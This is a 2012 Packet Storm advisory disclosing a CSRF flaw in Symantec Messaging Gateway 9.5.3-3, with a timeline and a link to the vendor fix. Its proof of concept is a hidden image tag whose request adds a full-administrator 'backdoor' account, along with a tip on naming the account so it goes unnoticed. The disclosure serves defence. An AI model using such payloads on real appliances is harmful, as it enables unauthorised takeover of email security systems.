Symantec Messaging Gateway 9.5.3-3 Cross Site Request Forgery

2012-12-01T00:00:00
ID PACKETSTORM:118530
Type packetstorm
Reporter Ben Williams
Modified 2012-12-01T00:00:00

Description

                                        
                                            `=======  
Summary  
=======  
Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator (for example)  
Release Date: 30 November 2012  
Reference: NGS00263  
Discoverer: Ben Williams <ben.williams@ngssecure.com>  
Vendor: Symantec  
Vendor Reference:   
Systems Affected: Symantec Messaging Gateway 9.5.3-3  
Risk: High  
Status: Published  
  
========  
TimeLine  
========  
Discovered: 16 April 2012  
Released: 16 April 2012  
Approved: 29 April 2012  
Reported: 30 April 2012  
Fixed: 27 August 2012  
Published: 30 November 2012  
  
===========  
Description  
===========  
I. VULNERABILITY  
-------------------------  
Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator (for example)  
  
II. BACKGROUND  
-------------------------  
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance  
  
III. DESCRIPTION  
-------------------------  
It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.  
  
=================  
Technical Details  
=================  
IV. PROOF OF CONCEPT  
-------------------------  
An attacker can create an web page with a hidden image-tag (example below)  
  
<html>  
A very interesting page indeed  
<img  
src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true"  
height=0 width=0>  
</html>  
  
When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).  
  
The administrator would not notice anything until they go to here:  
http://192.168.1.59:41080/brightmail/admin/administrator/view.do  
(where they would see the added administrator, but if the username is something like "system" or "filter" they may not notice this as an issue anyway)  
  
The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.  
  
Many other functions can be abused in this way to arbitrarily reconfigure the appliance.  
  
===============  
Fix Information  
===============  
An updated version of the software has been released to address the vulnerability:  
  
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00  
  
  
NCC Group Research  
http://www.nccgroup.com/research  
  
  
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